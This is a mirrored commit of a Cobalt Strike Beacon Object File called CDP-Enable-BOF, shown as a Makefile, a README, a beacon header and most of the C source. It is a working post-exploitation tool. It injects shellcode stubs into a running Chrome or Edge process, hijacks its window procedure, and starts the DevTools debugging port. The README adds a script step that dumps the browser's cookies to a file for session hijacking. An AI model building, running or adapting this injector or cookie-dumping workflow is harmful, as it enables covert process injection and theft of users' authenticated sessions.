mirror of
https://github.com/KingOfTheNOPs/CDP-Enable-BOF
synced 2026-06-29 08:59:28 +00:00
Initial Commit
This commit is contained in:
@@ -0,0 +1,16 @@
|
|||||||
|
CC=x86_64-w64-mingw32-gcc
|
||||||
|
OBJCOPY=x86_64-w64-mingw32-objcopy
|
||||||
|
CFLAGS=-O2 -c -Wall -Wextra -fno-asynchronous-unwind-tables -fno-unwind-tables -fno-exceptions -fno-stack-protector
|
||||||
|
INCLUDES=-I .
|
||||||
|
OUT=cdp_enable_bof.o
|
||||||
|
|
||||||
|
.PHONY: all clean
|
||||||
|
|
||||||
|
all: $(OUT)
|
||||||
|
|
||||||
|
$(OUT): cdp_enable_bof.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $< $(INCLUDES)
|
||||||
|
$(OBJCOPY) --remove-section .pdata --remove-section .xdata --remove-section .eh_frame $@
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(OUT)
|
||||||
@@ -1,2 +1,125 @@
|
|||||||
# CDP-Enable-BOF
|
# CDP-Enable-BOF
|
||||||
Beacon Object File to Enable Chrome DevTools Protocol (CDP)
|
|
||||||
|
`CDP-Enable-BOF` is an x64 BOF that enables the Chrome DevTools Protocol in a
|
||||||
|
running `msedge.exe` or `chrome.exe` process
|
||||||
|
|
||||||
|
Based on [CDP-Enable](https://github.com/deathflamingo/CDP-Enabler/) and [Modern Session Hijacking by Living off the DevTools Protocol by Cedric Van Bockhaven](https://specterops.io/so-con/)
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```text
|
||||||
|
cdp_enable <edge|chrome> <9000-65535>
|
||||||
|
```
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
- finds the requested live browser process and its top-level window
|
||||||
|
- locates the loaded browser module (`msedge.dll` or `chrome.dll`)
|
||||||
|
- reads the module’s PE headers and sections from the remote process
|
||||||
|
- resolves these internal symbols at runtime using masked byte signatures:
|
||||||
|
- `StartRemoteDebuggingServer`
|
||||||
|
- `operator new`
|
||||||
|
- `TCPServerSocketFactory::CreateForHttpServer`
|
||||||
|
- `TCPServerSocketFactory` vtable
|
||||||
|
- allocates two small remote stubs plus a context block
|
||||||
|
- temporarily installs a remote window procedure
|
||||||
|
- triggers that window procedure on the browser UI thread
|
||||||
|
- calls `StartRemoteDebuggingServer` on the requested port
|
||||||
|
|
||||||
|
Running the final internal call on the browser UI thread is the key trick that
|
||||||
|
makes this reliable in the presence of CFG / TLS / CET-sensitive execution.
|
||||||
|
|
||||||
|
|
||||||
|
## Validate
|
||||||
|
|
||||||
|
Use the bundled Python script to prove CDP is up and reachable:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python .\grab_cookies.py --port 9001 --output cookies.json
|
||||||
|
```
|
||||||
|
|
||||||
|
If CDP is working, the script will:
|
||||||
|
|
||||||
|
- resolve the browser websocket from `http://127.0.0.1:9001/json/version`
|
||||||
|
- connect to the websocket
|
||||||
|
- dump cookies to `cookies.json`
|
||||||
|
|
||||||
|
Optional domain filter:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python .\grab_cookies.py --port 9001 --domain microsoft.com --output ms_cookies.json
|
||||||
|
```
|
||||||
|
|
||||||
|
## Common Issue
|
||||||
|
|
||||||
|
Issue: "Failed to resolve symbol signatures"
|
||||||
|
|
||||||
|
Cause: Edge version mismatch - signatures are version-specific
|
||||||
|
Solution: See "Finding New Signatures" below
|
||||||
|
|
||||||
|
Tested Chrome Version: 147.0.7727.102
|
||||||
|
Tested Edge Version: 147.0.3912.72
|
||||||
|
|
||||||
|
## Finding New Signatures
|
||||||
|
|
||||||
|
The finder scripts are still included because they are useful for:
|
||||||
|
|
||||||
|
- validating new signatures
|
||||||
|
- checking symbol drift across browser versions
|
||||||
|
- reverse engineering / troubleshooting
|
||||||
|
|
||||||
|
### Pull the DLLs
|
||||||
|
|
||||||
|
Typical browser DLL locations:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" .
|
||||||
|
Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" .
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pull the matching PDBs
|
||||||
|
|
||||||
|
For Chrome:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
& 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe' /v chrome.dll /s srv*C:\symbols*https://chromium-browser-symsrv.commondatastorage.googleapis.com
|
||||||
|
```
|
||||||
|
|
||||||
|
For Edge:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols .\msedge.dll
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run the scripts
|
||||||
|
|
||||||
|
Find `StartRemoteDebuggingServer`:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb
|
||||||
|
python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb
|
||||||
|
```
|
||||||
|
|
||||||
|
Find the supporting inputs:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb
|
||||||
|
python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb
|
||||||
|
```
|
||||||
|
|
||||||
|
These scripts emit:
|
||||||
|
|
||||||
|
- `StartRemoteDebuggingServer`
|
||||||
|
- `operator new`
|
||||||
|
- `TCPServerSocketFactory::CreateForHttpServer`
|
||||||
|
- derived `TCPServerSocketFactory` vtable
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
- x64 only
|
||||||
|
- tested with both `msedge.exe` and `chrome.exe`
|
||||||
|
- the BOF only targets the browser you explicitly pass as an argument
|
||||||
|
- the current Chrome resolver uses a stronger masked `CreateForHttpServer`
|
||||||
|
signature to avoid false positives across patch-level browser changes
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,61 @@
|
|||||||
|
/*
|
||||||
|
* Beacon Object Files (BOF)
|
||||||
|
* -------------------------
|
||||||
|
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||||
|
* with Beacon's inline-execute command.
|
||||||
|
*
|
||||||
|
* Cobalt Strike 4.1.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* data API */
|
||||||
|
typedef struct {
|
||||||
|
char * original; /* the original buffer [so we can free it] */
|
||||||
|
char * buffer; /* current pointer into our buffer */
|
||||||
|
int length; /* remaining length of data */
|
||||||
|
int size; /* total size of this buffer */
|
||||||
|
} datap;
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||||
|
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||||
|
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||||
|
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||||
|
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||||
|
|
||||||
|
/* format API */
|
||||||
|
typedef struct {
|
||||||
|
char * original; /* the original buffer [so we can free it] */
|
||||||
|
char * buffer; /* current pointer into our buffer */
|
||||||
|
int length; /* remaining length of data */
|
||||||
|
int size; /* total size of this buffer */
|
||||||
|
} formatp;
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||||
|
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||||
|
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||||
|
|
||||||
|
/* Output Functions */
|
||||||
|
#define CALLBACK_OUTPUT 0x0
|
||||||
|
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||||
|
#define CALLBACK_ERROR 0x0d
|
||||||
|
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||||
|
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||||
|
|
||||||
|
/* Token Functions */
|
||||||
|
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||||
|
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||||
|
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||||
|
|
||||||
|
/* Spawn+Inject Functions */
|
||||||
|
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||||
|
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||||
|
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||||
|
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||||
|
|
||||||
|
/* Utility Functions */
|
||||||
|
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||||
@@ -0,0 +1,800 @@
|
|||||||
|
/*
|
||||||
|
* CDP-Enabler-BOF
|
||||||
|
*
|
||||||
|
* Self-resolving BOF that enables CDP in a running Edge or Chrome instance
|
||||||
|
* without relying on hardcoded RVAs. Installs a temporary remote WndProc
|
||||||
|
* so StartRemoteDebuggingServer runs on the browser UI thread.
|
||||||
|
*
|
||||||
|
* Arguments:
|
||||||
|
* <browser> <port>
|
||||||
|
* browser = "edge" or "chrome"
|
||||||
|
* port = integer 9000-65535
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#include "beacon.h"
|
||||||
|
|
||||||
|
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$Process32FirstW(HANDLE, LPPROCESSENTRY32W);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$Process32NextW(HANDLE, LPPROCESSENTRY32W);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$Module32FirstW(HANDLE, LPMODULEENTRY32W);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$Module32NextW(HANDLE, LPMODULEENTRY32W);
|
||||||
|
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
|
||||||
|
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE, LPVOID, SIZE_T, DWORD);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
|
||||||
|
WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||||
|
WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE, LPDWORD);
|
||||||
|
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
|
||||||
|
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(void);
|
||||||
|
WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
|
||||||
|
WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
|
||||||
|
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR);
|
||||||
|
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR);
|
||||||
|
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
|
||||||
|
WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO);
|
||||||
|
|
||||||
|
WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR, LPCSTR);
|
||||||
|
WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND, HWND, LPCSTR, LPCSTR);
|
||||||
|
WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND, LPDWORD);
|
||||||
|
WINUSERAPI HWND WINAPI USER32$GetParent(HWND);
|
||||||
|
WINUSERAPI BOOL WINAPI USER32$IsWindowVisible(HWND);
|
||||||
|
WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND, UINT, WPARAM, LPARAM);
|
||||||
|
|
||||||
|
WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*);
|
||||||
|
|
||||||
|
#define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot
|
||||||
|
#define Process32FirstW KERNEL32$Process32FirstW
|
||||||
|
#define Process32NextW KERNEL32$Process32NextW
|
||||||
|
#define Module32FirstW KERNEL32$Module32FirstW
|
||||||
|
#define Module32NextW KERNEL32$Module32NextW
|
||||||
|
#define OpenProcess KERNEL32$OpenProcess
|
||||||
|
#define CloseHandle KERNEL32$CloseHandle
|
||||||
|
#define VirtualAllocEx KERNEL32$VirtualAllocEx
|
||||||
|
#define VirtualFreeEx KERNEL32$VirtualFreeEx
|
||||||
|
#define WriteProcessMemory KERNEL32$WriteProcessMemory
|
||||||
|
#define ReadProcessMemory KERNEL32$ReadProcessMemory
|
||||||
|
#define CreateRemoteThread KERNEL32$CreateRemoteThread
|
||||||
|
#define WaitForSingleObject KERNEL32$WaitForSingleObject
|
||||||
|
#define GetExitCodeThread KERNEL32$GetExitCodeThread
|
||||||
|
#define GetLastError KERNEL32$GetLastError
|
||||||
|
#define GetProcessHeap KERNEL32$GetProcessHeap
|
||||||
|
#define HeapAlloc KERNEL32$HeapAlloc
|
||||||
|
#define HeapFree KERNEL32$HeapFree
|
||||||
|
#define GetModuleHandleW KERNEL32$GetModuleHandleW
|
||||||
|
#define LoadLibraryW KERNEL32$LoadLibraryW
|
||||||
|
#define GetProcAddress KERNEL32$GetProcAddress
|
||||||
|
#define GetSystemInfo KERNEL32$GetSystemInfo
|
||||||
|
#define FindWindowA USER32$FindWindowA
|
||||||
|
#define FindWindowExA USER32$FindWindowExA
|
||||||
|
#define GetWindowThreadProcessId USER32$GetWindowThreadProcessId
|
||||||
|
#define GetParent USER32$GetParent
|
||||||
|
#define IsWindowVisible USER32$IsWindowVisible
|
||||||
|
#define SendMessageA USER32$SendMessageA
|
||||||
|
#define lstrcmpiW MSVCRT$_wcsicmp
|
||||||
|
|
||||||
|
#define WM_START_CDP_REMOTE (WM_USER + 0x2451)
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
UINT64 hwnd;
|
||||||
|
UINT64 new_wndproc;
|
||||||
|
UINT64 set_window_long_ptr_a;
|
||||||
|
UINT64 old_wndproc;
|
||||||
|
} INSTALL_CTX;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
UINT64 old_wndproc;
|
||||||
|
UINT64 set_window_long_ptr_a;
|
||||||
|
UINT64 start_remote_debugging_server;
|
||||||
|
UINT64 chrome_new;
|
||||||
|
UINT64 factory_vtable;
|
||||||
|
UINT32 port;
|
||||||
|
UINT32 mode;
|
||||||
|
} WNDPROC_CTX;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
const char* browser_name;
|
||||||
|
const wchar_t* process_name;
|
||||||
|
const wchar_t* module_name_w;
|
||||||
|
const uint8_t* start_sig;
|
||||||
|
const uint8_t* start_mask;
|
||||||
|
size_t start_sig_len;
|
||||||
|
const uint8_t* entry1_sig;
|
||||||
|
const uint8_t* entry1_mask;
|
||||||
|
size_t entry1_sig_len;
|
||||||
|
} TARGET_CFG;
|
||||||
|
|
||||||
|
static const unsigned char INSTALL_STUB[] = {
|
||||||
|
0x53,
|
||||||
|
0x48, 0x83, 0xEC, 0x20,
|
||||||
|
0x48, 0x89, 0xCB,
|
||||||
|
0x48, 0x8B, 0x0B,
|
||||||
|
0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF,
|
||||||
|
0x4C, 0x8B, 0x43, 0x08,
|
||||||
|
0x48, 0x8B, 0x43, 0x10,
|
||||||
|
0xFF, 0xD0,
|
||||||
|
0x48, 0x89, 0x43, 0x18,
|
||||||
|
0x31, 0xC0,
|
||||||
|
0x48, 0x83, 0xC4, 0x20,
|
||||||
|
0x5B,
|
||||||
|
0xC3
|
||||||
|
};
|
||||||
|
|
||||||
|
static const unsigned char WNDPROC_STUB_TEMPLATE[] = {
|
||||||
|
0x53,
|
||||||
|
0x48, 0x83, 0xEC, 0x70,
|
||||||
|
0x48, 0xBB,
|
||||||
|
0,0,0,0,0,0,0,0,
|
||||||
|
0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF,
|
||||||
|
0x4C, 0x8B, 0x03,
|
||||||
|
0x48, 0x8B, 0x43, 0x08,
|
||||||
|
0xFF, 0xD0,
|
||||||
|
0x48, 0xC7, 0xC1, 0x10, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x8B, 0x43, 0x18,
|
||||||
|
0xFF, 0xD0,
|
||||||
|
0x48, 0x89, 0x44, 0x24, 0x20,
|
||||||
|
0x31, 0xC9,
|
||||||
|
0x48, 0x89, 0x48, 0x08,
|
||||||
|
0x48, 0x8B, 0x4B, 0x20,
|
||||||
|
0x48, 0x89, 0x08,
|
||||||
|
0x66, 0x8B, 0x4B, 0x28,
|
||||||
|
0x66, 0x89, 0x48, 0x08,
|
||||||
|
0x31, 0xC9,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x28,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x30,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x38,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x40,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x48,
|
||||||
|
0x48, 0x89, 0x4C, 0x24, 0x50,
|
||||||
|
0x48, 0x8D, 0x4C, 0x24, 0x20,
|
||||||
|
0x48, 0x8D, 0x54, 0x24, 0x28,
|
||||||
|
0x4C, 0x8D, 0x44, 0x24, 0x40,
|
||||||
|
0x44, 0x8B, 0x4B, 0x2C,
|
||||||
|
0x48, 0x8B, 0x43, 0x10,
|
||||||
|
0xFF, 0xD0,
|
||||||
|
0x31, 0xC0,
|
||||||
|
0x48, 0x83, 0xC4, 0x70,
|
||||||
|
0x5B,
|
||||||
|
0xC3
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t EDGE_START_SIG[] = {
|
||||||
|
0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57,
|
||||||
|
0x55, 0x53, 0x48, 0x83, 0xEC, 0x50,
|
||||||
|
0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3,
|
||||||
|
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE,
|
||||||
|
0x48, 0x8B, 0x05, 0x9D
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t CHROME_START_SIG[] = {
|
||||||
|
0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53,
|
||||||
|
0x48, 0x83, 0xEC, 0x48,
|
||||||
|
0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6,
|
||||||
|
0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE,
|
||||||
|
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t CHROME_START_MASK[] = {
|
||||||
|
1,1,1,1,1,1,1,1,
|
||||||
|
1,1,1,1,
|
||||||
|
1,1,1,1,1,1,
|
||||||
|
1,1,1,1,1,1,
|
||||||
|
1,1,1,0,0,0,0
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Short unique operator new signature. */
|
||||||
|
static const uint8_t OPERATOR_NEW_SIG[] = {
|
||||||
|
0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xEB
|
||||||
|
};
|
||||||
|
static const uint8_t OPERATOR_NEW_MASK[] = {
|
||||||
|
1,1,1,1,1,1,1,1,1,1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t VTABLE_ENTRY0_SIG[] = {
|
||||||
|
0x56, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0xCE,
|
||||||
|
0xF6, 0xC2, 0x01, 0x74, 0x08, 0x48, 0x89, 0xF1,
|
||||||
|
0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF0,
|
||||||
|
0x48, 0x83, 0xC4, 0x20, 0x5E, 0xC3
|
||||||
|
};
|
||||||
|
static const uint8_t VTABLE_ENTRY0_MASK[] = {
|
||||||
|
1,1,1,1,1,1,1,1,
|
||||||
|
1,1,1,1,1,1,1,1,
|
||||||
|
1,0,0,0,0,1,1,1,
|
||||||
|
1,1,1,1,1,1
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Edge and Chrome each get their known-unique CreateForHttpServer signature. */
|
||||||
|
static const uint8_t EDGE_ENTRY1_SIG[] = {
|
||||||
|
0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t CHROME_ENTRY1_SIG[] = {
|
||||||
|
0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53,
|
||||||
|
0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x89, 0xD6, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x31, 0xE0, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00,
|
||||||
|
0x0F, 0xB7, 0x59, 0x08, 0xB9, 0x38, 0x00, 0x00, 0x00,
|
||||||
|
0xE8, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
static const uint8_t CHROME_ENTRY1_MASK[] = {
|
||||||
|
1,1,1,1,1,1,1,1,
|
||||||
|
1,1,1,1,1,1,1,
|
||||||
|
1,1,1,1,1,1,0,0,0,0,
|
||||||
|
1,1,1,1,1,1,1,1,1,1,1,
|
||||||
|
1,1,1,1,1,1,1,1,1,
|
||||||
|
1,0,0,0,0,
|
||||||
|
1,1,1,1,1,1,0,0,0,0,
|
||||||
|
1,1,1,0,0,0,0
|
||||||
|
};
|
||||||
|
|
||||||
|
static void bof_memcpy(void* dst, const void* src, SIZE_T len) {
|
||||||
|
SIZE_T i;
|
||||||
|
unsigned char* d = (unsigned char*)dst;
|
||||||
|
const unsigned char* s = (const unsigned char*)src;
|
||||||
|
for (i = 0; i < len; i++) d[i] = s[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
static void bof_memset(void* dst, int c, SIZE_T len) {
|
||||||
|
SIZE_T i;
|
||||||
|
unsigned char* d = (unsigned char*)dst;
|
||||||
|
for (i = 0; i < len; i++) d[i] = (unsigned char)c;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void PatchQword(unsigned char* buf, SIZE_T off, UINT64 value) {
|
||||||
|
bof_memcpy(buf + off, &value, sizeof(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ascii_equals_literal(const char* s, int len, const char* lit) {
|
||||||
|
int i = 0;
|
||||||
|
if (!s || !lit) return 0;
|
||||||
|
while (i < len && s[i] && lit[i]) {
|
||||||
|
if (s[i] != lit[i]) return 0;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
if (lit[i] != 0) return 0;
|
||||||
|
if (i < len && s[i] != 0) return 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL IsBrowserProcess(DWORD pid) {
|
||||||
|
HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL);
|
||||||
|
while (hwnd) {
|
||||||
|
DWORD window_pid = 0;
|
||||||
|
GetWindowThreadProcessId(hwnd, &window_pid);
|
||||||
|
if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL);
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD FindBrowserProcess(const wchar_t* target_proc_name) {
|
||||||
|
HANDLE hSnapshot;
|
||||||
|
PROCESSENTRY32W pe;
|
||||||
|
DWORD browser_pid = 0;
|
||||||
|
|
||||||
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
|
||||||
|
bof_memset(&pe, 0, sizeof(pe));
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
if (Process32FirstW(hSnapshot, &pe)) {
|
||||||
|
do {
|
||||||
|
if (lstrcmpiW(pe.szExeFile, target_proc_name) == 0) {
|
||||||
|
if (IsBrowserProcess(pe.th32ProcessID)) {
|
||||||
|
browser_pid = pe.th32ProcessID;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} while (Process32NextW(hSnapshot, &pe));
|
||||||
|
}
|
||||||
|
CloseHandle(hSnapshot);
|
||||||
|
return browser_pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HWND FindBrowserWindowForPid(DWORD pid) {
|
||||||
|
HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL);
|
||||||
|
while (hwnd) {
|
||||||
|
DWORD window_pid = 0;
|
||||||
|
GetWindowThreadProcessId(hwnd, &window_pid);
|
||||||
|
if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) {
|
||||||
|
return hwnd;
|
||||||
|
}
|
||||||
|
hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL GetRemoteModule(DWORD pid, const wchar_t* module_name, uintptr_t* base_out, DWORD* size_out) {
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
|
||||||
|
MODULEENTRY32W me;
|
||||||
|
BOOL ok = FALSE;
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE) return FALSE;
|
||||||
|
bof_memset(&me, 0, sizeof(me));
|
||||||
|
me.dwSize = sizeof(me);
|
||||||
|
if (Module32FirstW(snap, &me)) {
|
||||||
|
do {
|
||||||
|
if (lstrcmpiW(me.szModule, module_name) == 0) {
|
||||||
|
*base_out = (uintptr_t)me.modBaseAddr;
|
||||||
|
*size_out = me.modBaseSize;
|
||||||
|
ok = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Module32NextW(snap, &me));
|
||||||
|
}
|
||||||
|
CloseHandle(snap);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL GetRemoteSystemProc(DWORD pid, const wchar_t* module_name, const char* proc_name, uintptr_t* out_addr) {
|
||||||
|
HMODULE local_mod = GetModuleHandleW(module_name);
|
||||||
|
FARPROC local_proc;
|
||||||
|
uintptr_t local_rva;
|
||||||
|
uintptr_t remote_base;
|
||||||
|
DWORD remote_size;
|
||||||
|
|
||||||
|
if (!local_mod) local_mod = LoadLibraryW(module_name);
|
||||||
|
if (!local_mod) return FALSE;
|
||||||
|
local_proc = GetProcAddress(local_mod, proc_name);
|
||||||
|
if (!local_proc) return FALSE;
|
||||||
|
local_rva = (uintptr_t)local_proc - (uintptr_t)local_mod;
|
||||||
|
if (!GetRemoteModule(pid, module_name, &remote_base, &remote_size)) return FALSE;
|
||||||
|
*out_addr = remote_base + local_rva;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL GetRemoteSectionInfo(HANDLE hProcess, uint8_t* module_base,
|
||||||
|
uint8_t** text_base, SIZE_T* text_size,
|
||||||
|
uint8_t** rdata_base, SIZE_T* rdata_size) {
|
||||||
|
IMAGE_DOS_HEADER dos;
|
||||||
|
IMAGE_NT_HEADERS64 nt;
|
||||||
|
IMAGE_SECTION_HEADER section;
|
||||||
|
SIZE_T read = 0;
|
||||||
|
DWORD i;
|
||||||
|
uint8_t* section_hdr;
|
||||||
|
|
||||||
|
